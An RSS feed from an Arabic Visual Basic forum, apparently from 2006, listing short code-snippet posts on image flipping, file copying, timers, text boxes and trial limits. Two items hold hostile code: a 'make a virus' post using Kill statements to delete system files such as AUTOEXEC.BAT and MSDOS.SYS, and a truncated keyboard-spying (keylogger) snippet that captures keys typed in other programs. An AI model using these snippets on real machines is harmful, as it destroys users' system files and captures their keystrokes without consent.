<?xml version="1.0" encoding="windows-1256"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>منتدى الفيجوال بيزك</title>
		<link>http://mady.niceboard.com/montada-f5/topic-t1.htm</link>
		<description>خاص بأكواد ومشاريع وتطبيقات الفيجوال بيزك</description>
		<lastBuildDate>Sat, 23 Dec 2006 15:45:27 GMT</lastBuildDate>
		<ttl>10</ttl>
		<image>
			<title>منتدى الفيجوال بيزك</title>
			<url>http://hitskin.com/themes/14/36/22/i_logo.gif</url>
			<link>http://mady.niceboard.com/montada-f5/topic-t1.htm</link>
		</image>
		<item>
			<title>كود نسخ الصورة أو قلبها عمودياً أو أفقي</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t385.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>********************

نسخ الصورة أو قلبها عمودياً أو أفقياً





Private Sub Command1_Click() 

'الوضع الطبيعي النسخ 

Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, 0, Picture1.Width, Picture1.Height, vbSrcCopy 

End Sub 



Private Sub Command2_Click() 

'الوضع الافقي 

Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, 0, -Picture1.Width, Picture1.Height, vbSrcCopy 

End Sub 



Private Sub Command3_Click() 

'الوضع  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 14:55:12 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t385.htm#829</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t385.htm</guid>
		</item>
		<item>
			<title>نسخ الملفات من وإلى أي مكان في الهارديسك</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t392.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>************************************************** *****
<br />
نسخ الملفات من وإلى أي مكان في الهارديسك
<br />

<br />
Private Sub Command1_Click()
<br />
FileCopy &quot;c:\Autoexec.bat&quot;, &quot;d:\Autoexec.bat&quot;
<br />
End Sub
<br />
*********************************************************</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:50:06 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t392.htm#836</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t392.htm</guid>
		</item>
		<item>
			<title>كود عرض الزمن والتاريخ</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t391.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>************************************************** **

عرض الزمن والتاريخ

timer نضع أداة توقيت 

ثم نكتب الكود التالى فى الحدث لود للفورم

Private Sub Form_Load()

Timer1.Interval = 1000

End Sub



ثم نكتب الكود التالى فى التايمر

Private Sub Timer1_Timer()

Label1 = Time &amp; Date

End Sub

 </description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:48:31 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t391.htm#835</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t391.htm</guid>
		</item>
		<item>
			<title>هذا الكود لعمل فورم رخامي</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t395.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>...................................................................... 

هذا الكود لعمل فورم رخامي 

ضع هذا الكود في قسم التصريحات General 

Private Sub GradientFill() 

Dim i As Long 

Dim c As Integer 

Dim r As Double 

r = ScaleHeight / 3.142 

For i = 0 To ScaleHeight 

c = Abs(220 * Sin(i / r)) 

Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too. 

Next 

End Sub 

وهذا الكود في حدث  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 16:07:04 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t395.htm#839</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t395.htm</guid>
		</item>
		<item>
			<title>اصنع فيروس بالفيجوال بيزك</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t428.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>اصنع فيرس ب الفيجوال بيسك 

اصنع فيروس ببرنامج فيجوال بيسك!! 



1 ــ قم بإنشاء مشروع جديد واضغط على الفورم Form مرتين لتنتقل لشاشة الكود . 



2 ــ اكتب الكود التالي : 

Kill &quot;c:\TheSystemFile.any&quot; 



وهكذا حيث أن TheSystemFile.any هو ملف النظام المراد حذفه 



قم بإظافة أكثر من ملف من الملفات المهمة يعني أهم شيء الشرطات بعد ما تكتب Kill تحط &quot; وبعد ما تنتهي من كتابة مسار الملف تحط &quot; 



(مثال عملي) قم بكتابة الكود هذا : 

Kill &quot;c:\AUTOEXEC.BAT&quot; 

Kill &quot;c:\MSDOS.SYS&quot;  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Fri, 15 Dec 2006 17:46:26 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t428.htm#946</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t428.htm</guid>
		</item>
		<item>
			<title>منع اللصق في الحقول</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t429.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>منع اللصق في الحقول 



السلام عليكم 

طلب منى اكتر من مرةكود لمنع اللصف في التكست بوكس 

وكان الرد عند السؤال على هذا الأمر هذا الكود

Private Sub Timer1_Timer() 

Clipboard.Clear 

End Sub 



ولكن هذا سيجعلك لاتستطيع نسخ اي شيئ أثناء عمل البرنامج أو بمعني أدق طالما ان التايمر شغال 

ولذلك فكرت في حل اخر والحمد لله اشتغل معايا تمام 



وهو : 

هنحط تايمر على الفورمة ونحط فيه الكود السابق عادي جدا زي كده 

Private Sub Timer1_Timer() 

Clipboard.Clear 

End Sub 

ونخلي خاصية Enabled قيمتها  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Fri, 15 Dec 2006 18:05:26 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t429.htm#947</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t429.htm</guid>
		</item>
		<item>
			<title>حصريا &amp;quot;مستعرض وندوز&amp;quot; خيالي مع الكود المصدري</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t446.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>مستعرض ملفات ومجلدات وبرامج الوندوز (مستعرض قوي جدا في الاستعراض مع العديد من الخصائص)



البرنامج بالغة الأنجليزية 

 

اضغط هنا

 </description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Sat, 23 Dec 2006 15:45:27 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t446.htm#994</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t446.htm</guid>
		</item>
		<item>
			<title>كود التجسس على لوحة المفاتيح</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t382.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>التجسس على لوحة المفاتيح



Private Sub Form_Load()

Me.Caption = &quot;Key Spy&quot;

'Create an API-timer

SetTimer Me.hwnd, 0, 1, AddressOf TimerProc

End Sub

Private Sub Form_Paint()

Dim R As RECT

Const mStr = &quot;Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown.&quot;

'Clear the form

Me.Cls

'API uses pixels

Me.ScaleMode = vbPixels

'Set the  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 14:51:41 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t382.htm#826</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t382.htm</guid>
		</item>
		<item>
			<title>كود تنفيذ أي برنامج عن طريق الفيجوال بيسك</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t396.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>3) كود تنفيذ أي برنامج عن طريق الفيجوال بيسك: 

إذا أردت أن تشغل إي برنامج في جهازك عن طريق الفيجوال بيسك، اكتب العبارة التالية.... 

Dim A 

A = Shell (&quot;programpath&quot;,n) 



حيث A متغير... و اكتب مكان الــ programpath مسار البرنامج كاملا، و اكتب مكان n رقم من 0 إلى 6، حيث كل رقم له دلالته... 



0 تظهر نافذة البرنامج مخفية. 

1 تظهر نافذة البرنامج بحجمها الطبيعي و معها التركيز. 

2 تظهر النافذة مصغرة و معها التركيز. 

3 تظهر النافذة مكبرة و ومعها التركيز. 

4 تظهر نافذة عادية و بدون  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 16:08:47 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t396.htm#840</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t396.htm</guid>
		</item>
		<item>
			<title>كود للتشفير وفك التشفير</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t397.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%">للتشفير وفك التشفير 
<br />
ضع هذا الكود في لود فورم 
<br />
SubClass (Me.HWnd 
<br />
وضع هذا الكود في ان لود فورم 
<br />
UnSubClass (Me.HWnd) 
<br />
</div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 16:11:01 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t397.htm#841</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t397.htm</guid>
		</item>
		<item>
			<title>كود  لحماية برنامجك من النسخ</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t394.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>منع نسخ أو لصق أي ملف ..في الـ Autorun لحماية برنامجك من النسخ.
<br />

<br />
Private Sub Form_Load()
<br />
Timer1.Interval = 1
<br />
End Sub
<br />

<br />
Private Sub Timer1_Timer()
<br />
R = Clipboard.GetText
<br />
If Len(R) = 0 Then
<br />
Clipboard.Clear
<br />
End If
<br />
End Sub
<br />
</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 16:03:35 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t394.htm#838</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t394.htm</guid>
		</item>
		<item>
			<title>اجعل البرنامج يشتغل عدد معين من المرات ثم يطلب منك شراءه</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t393.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>نسخة مشتركة من البرنامج تشتغل لعدد معين، ثم تطلب منك شراء النسخة الأصلية



Private Sub Form_Load()

retvalue = GetSetting(&quot;A&quot;, &quot;0&quot;, &quot;Runcount&quot;)

GD$ = Val(retvalue) + 1

SaveSetting &quot;A&quot;, &quot;0&quot;, &quot;RunCount&quot;, GD$

If GD$ &gt; 3 Then ' الرقم (3) يحدد عدد مرات التشغيل

MsgBox (&quot;انتهت مدة تشغيل البرنامج ،،، قم بشراء النسخة الكاملة من المنتج&quot;)

Unload Me

End If

End Sub

 </description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 16:00:39 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t393.htm#837</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t393.htm</guid>
		</item>
		<item>
			<title>كود حذف أي ملف</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t390.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>ضع زر أمر فى الفورم تم فى الحدث كليك أضف الكود التالى

مع مراعاة وضع اسم الملف وامتداده بدلا من 

FileName.fnm

الكود

Private Sub Command1_Click()

Kill (&quot;C:\FileName.fnm&quot;)

End Sub

مثال اذا كان لدينا ملف على السى اسمه 

asd.doc

وأردنا حزفة نكتب الكود كما يلى

 

Kill (&quot;C:\asd.doc&quot;)

 

  </description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:46:02 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t390.htm#834</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t390.htm</guid>
		</item>
		<item>
			<title>ابطال مفعول زر X  ( زر اغلاق النافذة )</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t389.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>ابطال مفعول زر X  ( زر اغلاق النافذة )
<br />
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
<br />
Cancel = True
<br />
End Sub
<br />
</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:40:54 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t389.htm#833</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t389.htm</guid>
		</item>
		<item>
			<title>إضافة حدث عند الضغط على زر الماوس الأيمن</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t388.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>إضافة حدث عند الضغط على زر الماوس الأيمن
<br />
</strong>
<br />
<strong>Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 
<br />

<br />
IF BUTTON=2 THEN 
<br />
msgbox &quot;منتديات المنة&quot; 
<br />
END IF 
<br />
End Sub
<br />
</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:38:16 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t388.htm#832</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t388.htm</guid>
		</item>
		<item>
			<title>فتح الفورم بطريقة رائعة</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t387.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>فتح الفورم بشكل جميل

فى الاجراء العام 

general

نكتب الكود التالى

Sub Explode(form1 As Form)

form1.Width = 0

form1.Height = 0

form1.Show

For x = 0 To 5000 Step 1

form1.Width = x

form1.Height = x

With form1

.Left = (Screen.Width - .Width) / 2

.Top = (Screen.Height - .Height) / 2

End With

Next

End Sub

ثم فى ناقذة الفورم فى الإجراء 

load

نكتب الكود التالى

Private Sub Form_Load()

Explode Me

End Sub

 </description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 15:32:16 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t387.htm#831</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t387.htm</guid>
		</item>
		<item>
			<title>كود نسخ خلفية سطح المكتب إلى النموذج</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t384.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>نسخ خلفية سطح المكتب إلى النموذج
<br />

<br />
Private Declare Function PaintDesktop Lib &quot;user32&quot; (ByVal hdc As Long) As Long 
<br />

<br />
Private Sub Command1_Click() 
<br />
PaintDesktop Form1.hdc 
<br />
End Sub
<br />
</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 14:54:02 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t384.htm#828</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t384.htm</guid>
		</item>
		<item>
			<title>كود منع تشغيل أكثر من نسخة من البرنامج</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t383.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<div style="margin:auto;text-align:center;width:100%"><strong>منع تشغيل أكثر من نسخة من البرنامج
<br />

<br />
Private Sub Form_Load() 
<br />
If App.PrevInstance = True Then 
<br />
MsgBox &quot;لا يمكن تشغيل أكثر من نسخة من البرنامج&quot; 
<br />
Unload Me 
<br />
Exit Sub 
<br />
End If 
<br />
End Sub
<br />
</strong></div>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 14:53:23 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t383.htm#827</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t383.htm</guid>
		</item>
		<item>
			<title>أكواد للصندوق النصى text box</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t381.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description>---------------------------------------------------------------------------------

السماح بكتابة حروف إنجليزية فقط في مربع النص

Private Sub Text1_KeyPress(KeyAscii As Integer)

If (KeyAscii &gt;= Asc(&quot;a&quot;) And KeyAscii &lt;= Asc(&quot;z&quot;)) Or (KeyAscii &gt;= Asc(&quot;A&quot;) And KeyAscii &lt;= Asc(&quot;Z&quot;)) Then

Else

KeyAscii = 0

End If

End Sub

---------------------------------------------------------------------------------

السماح بكتابة أرقام فقط داخل مربع النص

Private  ...</description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Thu, 07 Dec 2006 14:49:40 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t381.htm#825</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t381.htm</guid>
		</item>
		<item>
			<title>أكواد الفيجوال بيزك</title>
			<link>http://mady.niceboard.com/montada-f5/topic-t27.htm</link>
			<dc:creator>mefayed</dc:creator>
			<description><![CDATA[<span style="font-size: 18px; line-height: normal"><div style="margin:auto;text-align:center;width:100%"><strong>
<br />
موقع رائع لأكواد الفيجوال بيزك
<br />
<a href="http://alhosam.i8.com/web/htm/codevb.htm" target="_blank">http://alhosam.i8.com/web/htm/codevb.htm</a></strong></div></span>]]></description>
			<category>منتدى الفيجوال بيزك</category>
			<pubDate>Wed, 08 Nov 2006 14:12:30 GMT</pubDate>
			<comments>http://mady.niceboard.com/montada-f5/topic-t27.htm#32</comments>
			<guid>http://mady.niceboard.com/montada-f5/topic-t27.htm</guid>
		</item>
	</channel>
</rss>